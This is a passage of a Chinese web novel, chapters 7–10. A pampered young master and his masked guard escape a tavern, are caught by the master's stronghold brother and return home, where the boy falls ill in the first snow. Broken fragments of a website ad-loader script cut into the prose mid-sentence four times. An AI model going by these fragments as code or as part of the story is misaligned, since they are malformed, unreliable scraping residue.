解洵活了二十多年,前半生偷鸡摸狗的事情也没少干过,自诩道德标准应该是不高的。 但架不住叶安淮脑袋里的鬼点子实在不少。 小少爷拍了拍他的肩,抬手将那银质的面具戴在了他的脸上,顺便还扶正了些,扬起一抹笑容:“那解哥,就交给你了。” 阿元投以嫉妒的目光,嘀咕道:“公子,让我去我也行的。” 叶安淮毫不留情:“你就老老实实地待在这里吧。” 他们还是身处于三楼的雅阁之中,也不知道门外的人会不会再回来,保险起见还是不走正门了比较好。 于是叶安淮心生一计,选择让解洵不走寻常路——他们三个之中,哪怕解洵身上还带着伤,身手也是最好的。 果然不负众望,解洵一只手撑在窗沿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上,灵巧翻身,一只脚踩在了檐壁上。 凌云楼之中装饰繁多,恰好给了解洵落脚处,他身形轻盈,直接从三楼的窗户翻身下去,悄无声息地落在了地上。 厅堂稠人广众,声音喧哗,浑然无人察觉有人从三楼的窗沿上一跃而下。 目光锁定了人群中的目标,解洵理了理衣物,缓步跟在了说书先生身后,一个闪身,便没了影。 叶安淮松了一口气。 阿元不得不佩服,不情不愿地承认:“这人身手确实了得,阿元自愧不如。” 叶安淮轻笑一声,眼底一片晶亮:“那还用说?” - 另一边,钟明博抱着凌乱的卷轴,四处着急得询问:“兄台,你知道茅房在哪吗?” 这是他来青溪镇的第二日,人生地不熟,先前来此处时就隐隐内急,硬生生地憋着等说完了之后才急匆匆地去找茅房。 凌云楼的茅房建在一处隐蔽的地方,夜深人静,周遭一个人影都没有,钟明博内心忐忑,但实在是憋不住了。 解手完后,一身舒坦,正准备返回客栈歇息,不经意间抬起头,冷不丁地看见巷角处出现了一个人影。 那人一袭黑色劲装,隐匿在黑夜之中,脸上带着银质面具,面具后的银灰色瞳眸冷冽凛然。 ——活像是半夜袭来的恶鬼杀手,倘若不是刚解了手,钟明博险些又要被吓尿出来了。 那恶鬼杀手身形微动,钟明博倏然蹲下,双手抱头,带着哭腔,毫无气概地喊:“大人饶命,大人饶命,小的口无遮拦,是小的该死,望大人赎罪!!” 解洵走到他面前,居高临下地看他,冷冷吐出一句话:“你知我为何而来。” 钟明博见这杀手大人居然还有闲心同他说话,当即抬头,两行清泪落了下来,哽咽道:“都怪小的妄议朝廷之事,罪当万死,求大人网开一面,饶了小的一回吧呜呜呜。” 一抹冰冷的杀意轻飘飘地贴在了他的脖颈处,钟明博抖得跟个骰子似的,脑袋更低了。 解洵淡淡地开口:“从哪得知的消息。” 钟明博咽了咽口水,结结巴巴道:“是,是从京京京城传出来的。” “现在京城一带都在,都在传……” “传什么?” 钟明博小心翼翼地抬头瞅了他一眼,脖间的匕首彻骨冰寒,他颤颤巍巍地说:“就,就说,秋猎时,太子殿下因图谋不轨,意欲借机铲除异己,却不料暗中遭人反制,仓促逃亡,坠下悬崖生死不明。朝野间盛传太子多年来权欲熏心,行事狠毒,意图废黜摄政王自立为帝。” “旧党相争,如今朝廷上摄政王一人独大,拨乱反正,逐步掌控朝局,再过不久便将登基,清理太子余党,还天下以太平。” 解洵身形微动,钟明博还以为脖子上拿一刀要劈下来了,登时慌张地喊:“大人!是您让我说的啊大人!饶命啊大人!” 却没想到他只是收回了匕首,退后一步。 钟明博:“?” 他脖颈上还残留着锋利冰冷的触感,后背已然被冷汗打湿,不敢抬头。 就在这时,他听见前面的杀神冷冷地开口:“我要你做一件事。” 8. 第八章 第八章 ……要他做一件事。 钟明博一怔,很快反应过来,忙道:“您说,您说,小的一定竭尽全力完成!” 解洵:“跟来吧。” 他不想做过多解释,朝前走了两步,后又别过脸盯着他。 钟明博手忙脚乱地将散落一地的卷轴捡起来抱在怀中,一抬头,冷汗又下来了,呆了两三秒才反应过来:“大人您请放心,今日的事情我一个字都不会往外说的!!” 说着,做了个把嘴巴拉上的动作。 钟明博当时还有些没明白,一头雾水地跟在解洵身后。直到重返酒楼,在厅堂抬头时,看见了站在三楼窗沿边上撑着下巴冲他笑的叶安淮。 ——噢,原来是字面意义上带两个人出来。 哪怕厅堂人满为患,在解洵走进凌云楼的那一刻,叶安淮的视线精准定位到了他身上。 不得不承认,这个男人长得实在过于惹眼了,在一众欢声笑语之中,只有他一人脸上没什么表情。 两人的目光隔空交汇,解洵侧过身,露出了身后有些紧张的钟明博。 叶安淮一愣,随即笑弯了眉眼,唇形微动,无声地道:“干得漂亮。” 钟明博站在解洵身后,惊悚地发现这尊煞神居然脸色真就缓和了些,顿时对阁楼上那位小少爷肃然起敬。 叶安淮收回视线,瞥了眼一旁的阿元:“愣着干嘛?轮到你了。” 阿元:“啊,啊?哦哦哦……啊?怎么下去?翻墙啊?!” 叶安淮凉凉地道:“要不然呢?楼梯口都有苗子越的人,你一出去准被抓个正着。” 他知道阿元平日在寨中也有修行锻炼,哪怕不比解洵身手敏捷,但翻个楼还是没什么问题的。 最主要的问题是,他该怎么下去? 这古代的楼虽然跟现代的差远了,可叶安淮始终没法跨过那重心理阴影。 叶安淮面露难色,一时间纠结在了原地。阿元最会察言观色,见状挺身而出:“公子,您不必害怕,大不了就是摔个断腿,反正命肯定是不会丢的!” ……你真会安慰人,快闭嘴吧。 叶安淮闭了闭眼,踹了一脚他:“闭嘴,走你的。” 阿元委委屈屈地顺着窗沿爬了下去,他动作声不大,周遭的人也就投来了几道好奇的目光,没引起什么大动静。 叶安淮伸头瞅一瞅,又缩了回去,已经开始给自己想好退路了,倘若真的被抓回去了,不过就是挨顿打——总比摔断腿要强。 就在他脑袋里为了说服自己铺垫了n种理由的时候,耳旁蓦地响起来一道声音。 “公子,不要着急,不必害怕。” 声音是从下方传来的,并不大,却尤为清晰。伴着徐徐穿堂风,拂起叶安淮胸前垂落的长发,送入到他的耳边。 霎时间,将整个厅堂的哄闹声悉数压过。 他低头望去,解洵站在他的下方,敞开手臂,眸光无声鼓励着。 叶安淮心尖一颤,不知为何,他莫名觉得这一幕有些熟悉。 解洵和阿元还在下面等他,总不能因为这么一件小事就前功尽弃。 叶安淮咬牙心一狠,撑着窗沿就跳了下去,本想学着阿元的样子在二楼踩个落脚点缓冲一下,没想到现实比他想象的还要难以控制。 他足尖堪堪够着二楼房檐的边缘,整个身子却没办法保持平稳,直接从二楼的边缘跌了下去。 卧槽! 这下真的完蛋了! 这一个念头在脑海之中一闪而过,在阿元的惊呼中,就在他以为自己要摔断腿的时候,下一瞬,精准无误地落入了一个人的怀抱中。 熟悉的苦药香味陡然袭来,叶安淮的脸埋在解洵的胸前,后知后觉地被吓出了一身冷汗,惊魂未定。 待到他站稳后,解洵才掸了掸他身上不存在的灰尘,补完了先前未说完的话:“不要怕,我会接住……” 阿元猛地扑上来,眼泪都快被吓出来了:“公子,公子没事吧,有受伤吗?!” 身后传来一阵骚动,叶安淮隐约听见有人喊:“有人跳楼了!” 他回过神,顾不上回答阿元的话,急急忙忙喊醒钟明博:“你就是那位说书先生吧?帮我打个掩护,多谢了!” 说罢,就想拽着两人离开凌云楼,慌忙之下连银质面具都忘了,还是解洵顺手戴在了他的脸上。 钟明博如梦初醒:“小公子请随我来,这边走。” 三层楼阁之上。 苗子越听见了动静声,赶到雅阁时,内屋空无一物,一片寂静,只剩下穿堂风吹起卷帘发出的沙沙声。 他眉眼微沉,缓步走到窗沿边,向下望去时,恰好能看见一个戴着银质面具的少年在身旁人的簇拥下,脚步匆匆地离开凌云楼。 “诶?那人看上去好眼熟啊……”身后也不知是谁嘀咕了一声。 苗子越面色阴沉,冷笑了一声,转身离开。 身后的人匆忙跟上:“苗哥,咱们这是去哪,不找小少爷了吗?” 苗子越:“抓人。” - 趁着夜色,叶安淮混在人群之中,前脚刚准备出凌云楼,后脚就被拦住了。 门口将他们拦下的那人眉角一道狭长的伤疤,不苟言笑的神情更衬托了凶神恶煞的气势,腰间别着一把长刀。 钟明博咽了咽口水,生怕这人下一秒长刀就招呼到他头上了:“这位大哥……您是隶属于哪里的官府?” 与其说这人像什么官府人员,倒不如说像是从山上跑下来找碴的山寨土匪。 那位大哥脸上带着审视的神情,眸光扫过钟明博,一板一眼道:“你是谁,我们老大吩咐,现在特殊时期,不得放人离开凌云楼,恕难从命。” 终于到他出场的时候了。 钟明博挺了挺怀中那堆凌乱的卷轴,清了清嗓子道:“我是凌云楼掌柜请来的说书先生,今日的份已经说完了,眼下还有急事,得赶到下一场伺候其他官老爷们。” “身后的几位是我的随从和护卫,同我是一起的。” 大哥也听说过说书先生的名号,有些狐疑地看了眼他身后略显刻意的几个人。 左边的男人一脸冷漠,看上去像是在大润发杀了十几年的鱼,确实是个护卫没错。 右边的少年怒瞪着他,看上去像是在打抱不平,布衣洗得有些发白,应当也是个随从。 只是中间这个……怎么总觉得有点熟悉。 大哥板着脸,身形依旧像个小山似的堵在门前,一动不动,只重复着一句话:“恕难从命。” 钟明博急了:“你这人,怎么一点都不懂得变通?!我都说了他们同我一起的,是我的……” “是你的什么?” 身后倏地传来一道声音,打断了他的话,又慢悠悠地接上:“是你的随从和护卫?” 苗子越走上前来,站定在不远处,冷笑一声:“我可不记得我们遥云寨的小少爷什么时候成了你的随从了。” 钟明博猛地瞪大眼睛,不可置信地扭头望向那位戴着银质面具的少年。 整个人都呆掉了,不亚于在深夜的茅房前被一个煞神抹着脖子威胁。 遥云寨,他哪怕远在京城,也时常有所耳闻。 这山寨子是近些年来兴起的势力,尽管名义上是山匪,但他们劫掠的对象从来都是贪官污吏,百姓从不受其欺扰。寨中的老大行事通常肆无忌惮,一身刀法狠辣至极,将手底下的人驯服得服服帖帖的。就连朝廷都拿他没有办法,通常只能睁着一只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼闭着一只眼。 但这些尽是传言,钟明博不知这其中哪些是真哪些是假。 但没想到……这位公子居然就是遥云寨的那位纨绔少爷?! 眼瞅着领头的青年一脸阴沉地走上前来,钟明博心道莫不是小少爷这副小身板,在寨中常年遭人欺负,他爹又忙于事业疏忽了对他的照顾,不甘受辱之下才怒跑出家门…… 而如今,寨中上下聚集了那么多人,甚至将凌云楼层层围堵,就是为了抓他回去?! 钟明博狠狠地打了个寒战,生怕被战火波及,像只鹌鹑一样缩在一旁不敢出声。 神仙打架,莫要波及了他才好。 呜呜。 另一边,叶安淮梗着脖子不出声。 苗子越紧抿着唇,面无表情,径直走上前,站定在叶安淮的面前。 解洵看着这一幕,眸色渐深,却没有阻止。阿元在一旁大气不敢喘,紧张地揪着衣服,忐忑不安。 周遭一片死寂,气氛凝结成冰。 忽地,在众目睽睽之下,苗子越动了。 他唇角微撇,抬起手,狠狠给了叶安淮一个爆栗,痛得人嗷的一下叫出声来。 苗子越骂道:“哈,原来你还知道疼啊?!自己偷跑下山的时候怎么不知道疼?!” 叶安淮捂着脑袋,不甘示弱。嘴硬道:“我没有偷跑!我留了信的,就在桌上!” 苗子越气笑了:“是啊,你留了信,那信上写的什么你不如大声读出来呢?” 其实也没写什么。 就写了几个字——再见了妈妈(划掉)爹爹,今晚我就要远航。 叶安淮:…… 心虚地别开了眼。 钟明博呆呆地看着这一幕,心说怎么感觉有点不太对劲? 苗子越一脸恨铁不成钢,将他上下打量了一番,先是捏了捏他的脸,又掐了掐他的胳膊:“你看看,这么短的时间,瘦了多少。本来就没多少肉,乍一看跟纸糊的一样,别一阵风把你吹跑了,追都来不及追。” 叶安淮:也没瘦多少吧? 但是他不敢顶嘴,瞪着眼睛无声抗议。 “臭小子,让你哥一顿好找,还知道跑?刚刚从三楼翻下来的人是你吧?知不知道有多危险?平时让你扎个马步都要死要活的,你怎么敢的啊?!”苗子越一顿数落,把叶安淮骂得狗血淋头,恨不得再敲一通脑壳。 叶安淮警惕地后退一步,躲在阿元身后:“不准打我,再打我就告我爹!” 苗子越抱着胳膊冷笑:“我看真是老大把你惯出毛病来了,什么都敢做。” 一旁的大哥:……苗哥,跟老大一比,您只有过有之而无不及。 苗子越不耐烦地挥挥手:“去,赶紧去,我看老大是跟着我一起揍你还是跟着你来揍我。” 叶安淮一噎,索性摆烂:“那你打吧,直接把我打傻了。” 苗子越呵呵:“反正现在也没多聪明。” 叶安淮:“你要打就打!不准搞人身攻击!” 钟明博一头雾水,还没搞清楚事情的原委,正想蹭到那看门大哥的身边问个清楚,就见那大哥拿出手帕就开始抹眼泪。 “呜呜呜小少爷,您没事就好,担心死我们了。” 钟明博:“……” 他一脸麻木,真想给几分钟前满心担忧的自己邦邦两拳。 “行了。” 苗子越也觉得这幼稚的吵架有点丢脸,一把拉过叶安淮:“别再胡闹了,这两日给不少人添了麻烦吧?浪了两天也该收收心了,随我回去。” 哪晓得叶安淮一板脸,将人的手甩开,噔噔噔跑到解洵身后,露出半个脑袋瞅他:“我没有胡闹,我是认真的,如果你们还逼着我去栖净寺,我是不会回去的!” 9. 第九章 第九章 苗子越的视线落在解洵身上,忽地敛了眼底的笑意:“过来。” 不等叶安淮反对,他抢先一步说道:“这回你要是不过来,你这辈子都别回来了。” 叶安淮:“……” 他嘟囔着谁怕谁啊,但还是从解洵身后磨磨蹭蹭地走了出来,轻哼一声:“凶什么凶。” 苗子越瞪了他一眼,胳膊肘往外拐的东西。 一边拽着他拉至身后,抬眸对着解洵淡淡抱拳行礼:“对不住了兄台,家弟这两日给你添麻烦了,这是一份薄礼,还望你能收下。” 他眼神示意,一旁的大哥赶忙从袖袋中拿出一袋银子递了过去。 一句话,就将两边划了一道清界线,撇得干干净净。 解洵眸色渐深,没拿礼,温声道:“这是何意?” “没什么别的意思。”苗子越说,“家弟在外惯会惹事,下山时也没带什么银两,你应该还有要事在身,身上有些钱财也好办事。” 这话说得毫不留情,基本上是在下逐客令了。 叶安淮蹙眉道:“苗子越,你……” 苗子越瞥了他一眼:“啧,安分点,别说话。” 可叶安淮哪是能安分的主,他一把从大哥手中夺过钱袋,净白的面容微沉:“苗子越,他是我的人,不经过我的同意不许你这么干!” 苗子越深呼吸一口气,用恨铁不成钢的眼神瞪着他,将他拉到一边,低声质问:“你和这男人才认识多久?啊?你才多大,就……就搞这种不清不楚的男男关系,你爹知道了不把你扒一层皮?!” 叶安淮:“?” 他不可置信地扬高声音,羞愤道:“你说谁搞不清不楚的男男关系呢?他是我新招来的侍卫,思想别这么龌龊好不好?!” 原本是低声密谋,这下好了,全场人都听见了。 苗子越也是先前听掌柜的说,说叶少爷身边多了新人,两人举止亲密,又寸步不离,但好像现在看看也并不是这么一回事? 他迟疑地先瞅瞅他,又瞅了瞅解洵:“此话当真?可我怎么听闻你俩之前在大庭广众之下拉拉扯扯……不对,这不是重点,你知道这人是何来历就招人当侍卫?寨里这么多能文能武的,你挑一个自己熟悉的,称心得不好吗?” 这件事牵扯颇多,叶安淮目前还不想把自己的打算说出来,于是不甘示弱地反驳:“寨里也有很多来历不明的人啊,你怎么能确定各个都身份清白?” 两人争论不休,一时间谁都不愿让谁。 叶安淮也知道自己是在诡辩,可已经没有办法了。 他抹了把脸,拽着苗子越的袖袍,低声道:“我捡到他的时候,这人已经一身是伤,差那么一口气就一命呜呼了,总不能让我见死不救吧?” “况且,今日早晨我在布衣坊还和胡家的傻……那人发生了冲突,要不是解洵,你现在见到的我可能就是鼻青脸肿,不是断胳膊就是断腿的了。” 叶安淮声音放软,带着糯糯的鼻音,似是撒娇的明胶小点心。 若是他坚持那副嘴硬的态度,苗子越还能心硬些,但他这副模样,他是一点狠不下心了。 半晌后,头顶传来一声轻叹,苗子越拍了拍他的脑袋,心想,算了。 带个人回去,也不是什么大事。 “先说好,把人带回寨子可以,但回去之后,我可得好好查查此人的身份背景。至于栖净寺的事情……”苗子越顿了顿,在叶安淮希冀的目光中,淡声开口,“老大近两日有事外出,不在寨中,我回头同我爹说道说道,看看怎么回事。” “好耶,苗叔最好说话了!”少年眉眼雀跃,眸光晶亮。 苗叔就是苗子越的爹,是叶蔚成忠实的左膀右臂,通常他爹外出时,寨中都是苗叔一人独大。 这一次,也是叶安淮趁着叶蔚成即将外出之际,才有幸偷偷跑下了山。 他看着叶安淮一脸兴奋地跑到解洵旁边,拉了拉他的手臂,附在人耳边小声说了些什么。 不用猜也知道,无非就是先前那些事,也不知道兴奋个什么劲。 苗子越轻啧一声,扶了扶腰间的长刀,转身道:“走,带着小少爷回去了。” - 回程的马车浩浩荡荡。 在最前列的马车外,精致雕刻的装饰高高悬于车前,柔软的绒毯铺在内饰,整体看上去简洁又高雅。 只是气氛却如死一般寂静。 桌案上提前备好了小点心,但叶安淮愣是一点没动。 苗子越环抱着双臂倚靠在他面前:“吃啊,怎么不吃?” 叶安淮尬笑两声:“吃,吃。” 说着囫囵将小点心塞入口中,腮帮子塞得鼓鼓的,像个偷食的小仓鼠。 苗子越无奈地叹息一声,正准备端一碗茶水过去免得他噎着,可有人的行动比他先行了一步。 解洵坐在他身边,端着茶水送入叶安淮的口边,另一只手安抚似的拍着他的后背。 叶安淮嘴里塞得忒满,就着他的手将茶水一饮而尽:“活过来了——” 一抬头,就对上了苗子越的死亡注视。 叶安淮:“……” 他讨好似的将小点心往苗子越那里推了推:“哥,你也吃,你也吃。” 苗子越的神情这才缓和了些,小声嘀咕:“小没良心的。” 他轻咳了一声,正色望着解洵道:“通常情况下,外人不得进入遥云寨。但你情况特殊,我问什么,你便答什么,可以吧?” 解洵面不改色,点头应道:“可。” “你是哪里人?家有几口人?为何来这偏远山镇?先前又是怎么受的伤?” 哪怕像被当成犯人一样审讯,解洵脸上也不见恼色,淡淡开口:“家住蓟州,做着些微薄的小本生意,日子过得紧巴巴,入不敷出,实在不值一提。母亲早已去世,家父虽健在,却染上重病缠身,时日无多。我来到这偏远山镇纯属机缘巧合,因家父在世时仇家众多,为保性命,才来于此地。” 他说这话时长睫稍敛,尽管声音并没有什么起伏,可还是引来了叶安淮的注目。 后者并没有多说什么,只是悄咪咪地从他身后拽了拽人衣服。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 解洵侧目望去。 叶安淮眼里溢满了同情,偷了一块方才分给苗子越的糕点给他,正悄悄地从他身后递过来,纤长的指腹沾满了白色的糖霜。 苗子越却并没有被他糊弄,启唇道:“我们家小少爷,打小就身体不太好,奇思妙想也很多,日里没心没肺惯会惹事。在外吧……名声也不咋地,功课也不好好做,算得上是身无长处。” 听到这里,叶安淮投来了不满的目光:“苗子越,我哪里功课不好好做身无长处了?!你说话得凭良心!” 苗子越凉凉地看他一眼,不搭理他,继续道:“就算是这样,他在家里人也是宠惯了的。所以我实在想不明白,他身上有什么是你可图的,值得你这般费尽心思地也要接近他?” 他向来直言不讳,也并没有拐弯抹角,兀自地道:“你方才说,家中做着小本生意对吧?可那又如何解释你指腹上的厚重剑茧?这可不像是做生意的人该有的痕迹。” 语毕,马车内一片寂静。 叶安淮手上还捏着那一块糕点,闻言,有些愣愣地抬头。 苗子越瞥了眼叶安淮,心说还算是聪明,别到时候被人骗财骗心了才反应过来。 然后,他蓦地松了一口气,懒懒散散地倚在软榻上:“不过这些和我们都没什么关系,就如小少爷先前所说,寨中来历不明的人比比皆是,有的身负血海深仇,总不能一个一个却戳人痛处了解清楚吧?” “只要你不做任何对不起小少爷的事情,你做任何事我们都可以睁一只眼闭一只眼。” 他话音刚落,马车外便响起了轻轻的敲门声。 “到了。”苗子越道,“解兄,先请吧,待会有人带你去新的住处。” 叶安淮这才恍然初醒,连忙拉着苗子越说:“药,还有他用的药。” 苗子越点了点头。 直到解洵的身影渐行渐远,他才转过脑袋,邦地一下给叶安淮来了个额头弹指。 这力道是实打实的,少年一时吃痛,眼角泪花泛泛:“做什么啊?” 苗子越嘴角噙着笑,只是那笑意并不达眼底:“你先前说他姓解,是哪个xie?” 叶安淮捂着额头闷闷地说:“哪个xie?应该是感谢的谢吧,你问这个做什么?” “……”苗子越沉思片刻,“暂时看不出什么问题来。” 他话锋又一转,问:“你可知蓟州是什么地方?” 叶安淮地理学得不好,没好气道:“我怎么知道?” “若我记得不错的话,蓟州是距离京城最近的一个城镇。那里是京城前线的边防要地,平日里连个苍蝇都很难飞出来,这人却说他是从蓟州逃出来的。” 叶安淮:“那你的意思是……他之前说的都是假的?” 苗子越摇摇头:“具体的我分析不出来,但要说全是假,也不一定,顶多是真假半参吧。我只是想提醒你一句,为人处世留点心眼,别什么都乖乖地交代出去。” 叶安淮内心泛着嘀咕,直道:“行了行了,我知道了,婆婆妈妈的,你明儿改名叫苗妈妈算了。” 10. 第十章(有修) 第十章 回到了寨里,叶安淮就没有什么心情关心别的事情了。 他染上了风寒,病情来势汹汹,烧得整个人迷迷糊糊的。 迷蒙之中,他好像清醒了几刻,坐在床榻上,眼皮子耷拉着,神色恹恹地抱着汤药碗,小口小口地抿着。 身侧的一旁放着火炉,散发着阵阵暖意。 窗外起了雾,晶莹的雪花漫天飞扬,自天幕之上簌簌落下,在窗台前薄薄地堆积了一层。 放眼望去,远处的山峦若隐若现,山野间全都白了。 叶安淮朦朦胧胧地看向窗外,银白色的雪光在瞳眸中反射出澄澈的寒意。 他感觉自己想了一些事,又忘了一些事。 苦汤药的热气冉冉升起,叶安淮闻着这股味道,莫名想起了一个人。 吱呀—— 身后的木门被拉开,叶安淮双眼无神,连看一眼都没力气了。 那个人身上裹挟着冰冷的风雪气息,步伐轻缓,走到床榻边,先是在火炉边上烤了烤手,驱走身上的寒意,才抬手摸了摸叶安淮的额头。 “还是有些烧。”他言简意赅地说。 叶安淮微微抬起眼皮,清澈的眸子中映照出那人的身影。 他鼻音很重,低低地喊了声:“解洵。” 委屈巴巴的,是难受得紧了。 解洵淡淡应答了一声,用手背测了测汤碗的温度,将其端了起来:“有些冷了,我去让人重新热一下。” 自打来了这里,叶安淮就喝惯了药,如今倒也不觉得中药味难以下咽了。 他的注意力不在这上面,解洵说什么就是什么。 他偏头望向窗外,眼底一片雪白:“下雪了?” “嗯。”解洵替他掖好被子,将火炉踢近了些,“今年的初雪。” 他也站起身,也看着窗外簌簌而下的白雪。 没过多久,叶安淮眼皮又开始打架了。 他重新躺回床榻上,蜷缩着身体,瓮声瓮气地说:“我要睡觉了。” “等醒来之后,我有些事情想问你。”他声音很小,也不管解洵有没有听见,抓着被子就蒙在头顶。 耳旁似是传来一阵轻笑,随着木门关起来的一串声音,屋内重新安静了下来。 门外,苗子越倚在墙边,斜眼睨他一眼:“看到人了?” 解洵点点头。 苗子越放轻声音,叹了一口气:“他这人,五年前不小心落水,落下了病根。每逢初冬时节,总会发一场烧。” 解洵顿住脚步,半身站在阴影中,看不清神情:“五年前?” 苗子越点了点头:“嗯。自打那之后,哪怕老大寻遍天南地北,都没法根治他一初冬就生病的毛病。” “兴许是受了惊,所以一般初冬的时候我们都不会让他出远门。”他头疼地拧了拧眉间,“哪知道这回居然发生了这种事。” “唉,真是不让人省心。”苗子越道,“你在这里看好他,有事再喊我,我和我爹再去谈谈那个事。” 语毕,他便转身离开了。 屋檐下的凛冽冰雪吹拂在解洵的脸上,他微微垂眸,出神地望着地面上薄薄的一层积雪。 他孑然一身,独立于风雪之间,仿若一尊屹立于此亘古不变的雕塑。 直到风雪将他的眉宇发梢悉数染白,他才淡淡收回了视线。 - 不知是不是生了病的缘故,叶安淮久违地做了一个梦。 梦中的世界光怪陆离,周遭是一片他完全没有见过的场景。 叶安淮立足于白雪之上,放眼望去尽是白花花的一片,他有些迷茫,不知道该往哪里去。 尝试着走了两步,可没多久又迷茫了。 有点困。 叶安淮站得有些累了,干脆席地而坐。胳膊支撑着下巴,呆呆地望着一片雪原。 就在他即将昏昏欲睡的时候,听见耳旁传来了一个声音。 他无助地回头望去,眉宇紧蹙,呼出的冷气氤氲了漂亮的眉眼。 下一瞬,他冰凉的手被一个温热的触感牵起,他被人从雪地上拉了起来。叶安淮猝然抬头,暖意顺着相贴的掌心转向全身。 他仰头,试图看清牵着他往前走的人是谁,可雾气与风雪交加,让他怎么都看不清楚。 叶安淮抿了抿唇,默不作声地被人牵着往前走。 那人好似察觉到叶安淮心底无缘的委屈,安抚似的捏了捏他的指骨。 “小少爷,稍安毋躁。”他说,“再过一会儿就能走出去了。” 叶安淮记不清当时他回答了什么,就记得自己似乎想要泄愤,恨恨地踢了踢地上的积雪。 飞溅起来的白雪沾在他的衣裳上,男人停下脚步,弯腰,将积雪拂落。 他动作轻柔,像是在对待珍贵之物,抽离时不经意间指腹蹭过小少爷通红的耳廓。 叶安淮浑身不自在,眼尾泛红地瞪了他一眼。 男人似是轻笑了一声,银灰色的眸子中溢满了笑意。他弯腰,在小少爷的惊呼中,一把勾着人的膝弯将他背了起来。 这个人身上有股很好闻的味道。 ——这是叶安淮的第一反应。 他走了也有一段时间了,既然有人愿意背他,叶安淮也乐得自在。 双腿悬空晃晃荡荡,他爪子扒拉着人的衣襟,好奇地露出了一个脑袋,开始东瞅瞅西望望。 周遭一片白雪,不远处屹立的建筑在风雪中若隐若现。 总觉得有点熟悉……? 叶安淮眯着眼睛,手中无意识地攥着男人垂落而下的黑发,想要凑近再看看,没想到自己率先失去了平衡,顺带扯得男人也嘶了一声。 叶安淮悻悻地收手。 他哪怕不知道这个人的姓名和长相,可没由来的,他还是很信任他。 忙活了一阵也不知道忙活些什么东西,叶安淮累了就趴在男人的肩头,为他掸走飘落的雪。 哪怕背着一个人,他的步伐还是轻缓有力,不带丝毫沉重与犹豫,笔直地背着他前进。 - 叶安淮被推醒的时候,迷蒙地睁开双眸,险些还以为自己是在梦中。 屋内,火炉燃烧着噼里啪啦一顿作响,温暖了整个房间。 叶安淮揉着眼睛迷迷糊糊坐起身,身旁一个熟悉的声音夹杂着欣喜传来:“小少爷!您终于醒了!” 阿元放下手中的活,一把鼻涕一把泪地扑上前:“小少爷,您感觉怎么样?头还疼吗?还发热吗?” 叶安淮差点被他扑地倒咳出来,虚弱地说:“悠着点,我快死了。” 阿元:“呜呜呜呸呸呸,不要说什么死不死的,我们小少爷一定会长命百岁的呜呜呜。” 他像个狗皮膏药一样黏在叶安淮身上,推都推不开。 叶安淮被吵得头疼:“什么时候了?我睡了多久?” 阿元:“小少爷,您睡了足足有三日之久了,这期间一直发热,药都吃不进去一点。” 叶安淮哑然:“这么严重?” 他不是没在这里得过风寒,但顶天了也不过两天就扛过去了。 他还想问些什么,眼前忽地暗了下来。 那人径直朝他走来,投落而下的阴影将叶安淮笼罩于其中。 与此同时,他伸手,拎着阿元的后衣领将人提了起来。 叶安淮闷咳了两声,溢满水光的清澈眸子望向来人。 他愣愣地喊:“解洵。” 男人淡声应道,将阿元丢在一边,抬手摸了摸他的额头:“退烧了。” “但药还是得喝。” 说罢,解洵端起汤药碗,放在了叶安淮的手上。 温热的指尖一触即离,却倏地烫得叶安淮指节蜷缩。 他乖巧地捧着碗,小口小口地抿着,纤长的鸦睫微微颤抖。 看起来乖巧又脆弱。 叶安淮现在心底很乱。 他对自己做的这个乱七八糟的梦完全没有头绪,只是依稀记得梦里有个人一直拉着自己往前走,在冰天雪地之中,那一抹温暖就显得尤为可贵。 其余的记忆已经逐渐消散,他自己也记不得什么时候与梦断开了连接——但他还是很想知道梦里的那人到底是谁。 他心不在焉地喝着中药,耳旁蓦地传来一声:“小少爷。” 叶安淮:“嗯,嗯?” 解洵倚靠着墙壁,望向他的银灰色瞳眸中暗流涌动,他问:“你还要抱着空碗喝多久?” 叶安淮:“……” 好烦,要你管! 他瞪了一眼解洵,将空碗放在床头上,正准备下榻看看外面的初雪。哪曾想他足足在床榻上躺了三日不曾动弹,下床时一阵腿软,身体东倒西歪,险些跌落在地上。 还是解洵一个箭步上前,将人一把捞过。 叶安淮喘息地趴在解洵的衣襟前,羞愤地恨不得用脚趾抠出个三室一厅来才好。 “我,我自己能走。”他小声地抗议。 解洵温声道:“嗯,我知道,是我自己想扶着小少爷。” 叶安淮:“……” 那还能怎么办,他都这么说了,免费得来的劳动力不用白不用!! 叶安淮勉为其难地点点头,骄矜地扬了扬下巴:“那好吧。” 少年的脸色在阳光下近乎透明,面色带着一股病态的苍白,唇瓣红润。黑色的长发垂落于胸口处,显得肌肤雪白一片。 叶安淮驻足于窗前,宽大的裘袄将他整个人都包裹了起来,窗外一片白雪茫茫,映照了他眼底一片光亮。 果然,他还是很喜欢下雪天。 前世时,他家住南方,哪怕是冬日最冷的一天也不过是吹吹寒风,一粒雪都见不着。 现如今,穿越过来之后几乎每一年都会下一场大雪。 哪怕会生一场大病,他也很喜欢。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶安淮双眸微微出神,脑海中思绪万千。 “我想出去玩。” 他揪着解洵的衣角小声道,本以为他大病初愈又是刚醒,解洵肯定不会同意,去问苗子越得到的也只有一个否定答案。 可没曾想,解洵偏头望来,问:“现在吗?” 叶安淮一时愣住:“也,也不一定吧?” 他只是突然冒出来了这么一个念头,被解洵这么具体一问,又迷茫了。 解洵道:“那好。” “过两日便是冬至了,镇上有祭祀典礼和庙会,我陪你去那里走一走,嗯?” “当真?!”叶安淮眼睛都亮了,伸出小拇指,“那我们拉钩!” 解洵唇角微勾,也同他一样伸出小拇指,轻轻钩在了他的指节上。 “拉钩上吊一百年不许变!” 叶安淮心思雀跃,连雪景都没心思看了,结果就听见身后那人又慢吞吞地道:“不过……” “不过?” 可恶,怎么还有条件啊!叶安淮回过头,开始瞪他。 解洵语调微扬,带着不经意间的笑意:“不过小少爷得答应我,在冬至之前您得养好身体才能下山。” piu。 还没燃起的小火苗一下子就被浇灭了。 叶安淮讷讷地应:“噢,噢,那肯定!” 听闻了叶安淮醒来的消息,苗子越放下手中的事务便急急忙忙地赶了过来。 